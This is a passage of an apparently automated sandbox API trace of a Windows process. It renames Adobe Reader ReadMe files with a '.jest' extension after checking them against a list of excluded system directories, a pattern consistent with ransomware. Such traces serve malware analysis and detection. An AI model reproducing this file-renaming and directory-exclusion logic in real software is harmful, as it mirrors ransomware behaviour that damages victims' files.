SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0156.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.127] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.128] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.130] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GddH099g2ZJsaCOYAJKogHjYK1rP0S-pdKeDRVtGoGmsnmpd1LvzM36p4nmc4W4QgaJ0AyJ07IM5brGWDWEIdoGbR Lrwdx5AMogP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gddh099g2zjsacoyajkoghjyk1rp0s-pdkedrvtgogmsnmpd1lvzm36p4nmc4w4qgaj0ayj07im5brgwdweidogbr lrwdx5amogp.tmp")) returned 0 [0156.130] GetLastError () returned 0x2 [0156.131] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0156.131] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm") returned 0x37 [0156.131] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.131] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm") returned 0x37 [0156.131] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.131] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm") returned 0x37 [0156.132] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.132] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm") returned 0x37 [0156.132] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.132] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm") returned 0x37 [0156.132] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.132] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm") returned 0x37 [0156.132] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.132] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.132] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.133] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.133] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.133] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.135] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm.jest")) returned 1 [0156.136] GetLastError () returned 0x0 [0156.137] VarBstrFromR4 (in: fltIn=0x479452ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.83") returned 0x0 [0156.138] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NI0pZYGVQEWsOxHCGzeC5BpNT6JU938BU6-2l0LCLs9ZgLpW6fXfeWXke vYge8iy_84Up9vnUI V8j-Vusj_rFlwmvAs1jfOdb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ni0pzygvqewsoxhcgzec5bpnt6ju938bu6-2l0lcls9zglpw6fxfewxke vyge8iy_84up9vnui v8j-vusj_rflwmvas1jfodb.tmp")) returned 0 [0156.138] GetLastError () returned 0x2 [0156.138] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm") returned 0x37 [0156.138] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.138] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm") returned 0x37 [0156.139] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.139] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm") returned 0x37 [0156.139] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.139] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm") returned 0x37 [0156.139] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.139] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm") returned 0x37 [0156.139] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.139] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm") returned 0x37 [0156.139] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.140] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.140] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.140] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.140] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.140] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.141] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm.jest")) returned 1 [0156.142] GetLastError () returned 0x0 [0156.143] VarBstrFromR4 (in: fltIn=0x479452ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.83") returned 0x0 [0156.144] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uXOHQU1ET8Ow4IbShfiPpdNiks9KkmV 2qmyS5G84yjz tgQcVTlnHlruW9ldHi Wtw8dK_gOrPJoMH5cHyj6C-HqNFAuNGOKNcT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uxohqu1et8ow4ibshfippdniks9kkmv 2qmys5g84yjz tgqcvtlnhlruw9ldhi wtw8dk_gorpjomh5chyj6c-hqnfaungoknct.tmp")) returned 0 [0156.144] GetLastError () returned 0x2 [0156.144] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm") returned 0x37 [0156.144] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.144] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm") returned 0x37 [0156.145] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.145] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm") returned 0x37 [0156.145] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.145] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm") returned 0x37 [0156.145] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.145] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm") returned 0x37 [0156.145] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.145] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm") returned 0x37 [0156.146] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.146] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.146] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.146] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.146] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.146] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.146] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm.jest")) returned 1 [0156.147] GetLastError () returned 0x0 [0156.148] VarBstrFromR4 (in: fltIn=0x479452ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.83") returned 0x0 [0156.149] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uPPyvDU2_sanIF3FGhbCy4dLdM uCJ9PHxQOe2U1LHBKir7Q8T_TcvsX190TR1rpmGIOY7r1VNfClhjb2LhyK2G40B 9ye21siMy5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uppyvdu2_sanif3fghbcy4dldm ucj9phxqoe2u1lhbkir7q8t_tcvsx190tr1rpmgioy7r1vnfclhjb2lhyk2g40b 9ye21simy5.tmp")) returned 0 [0156.149] GetLastError () returned 0x2 [0156.149] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm") returned 0x37 [0156.150] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.150] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm") returned 0x37 [0156.150] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.150] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm") returned 0x37 [0156.150] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.150] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm") returned 0x37 [0156.150] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.150] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm") returned 0x37 [0156.150] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.151] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm") returned 0x37 [0156.151] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.151] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.151] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.151] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.151] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.151] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.151] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm.jest")) returned 1 [0156.153] GetLastError () returned 0x0 [0156.153] VarBstrFromR4 (in: fltIn=0x479452ec, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.84") returned 0x0 [0156.154] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\78UwhKyp7TCjMjOhw91b5Dd9L12K7A83unZkaFo9 7hpuxlrhxgI4yHxPTKYp0u5-y Hg7lkcduki9LeIkNYxxMNGlkN-s9m-lnX1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\78uwhkyp7tcjmjohw91b5dd9l12k7a83unzkafo9 7hpuxlrhxgi4yhxptkyp0u5-y hg7lkcduki9leiknyxxmnglkn-s9m-lnx1.tmp")) returned 0 [0156.154] GetLastError () returned 0x2 [0156.154] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm") returned 0x37 [0156.155] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.155] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm") returned 0x37 [0156.155] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.155] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm") returned 0x37 [0156.155] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.155] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm") returned 0x37 [0156.155] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.155] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm") returned 0x37 [0156.156] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.156] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm") returned 0x37 [0156.156] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.156] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.156] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.156] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.156] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.156] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.156] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" 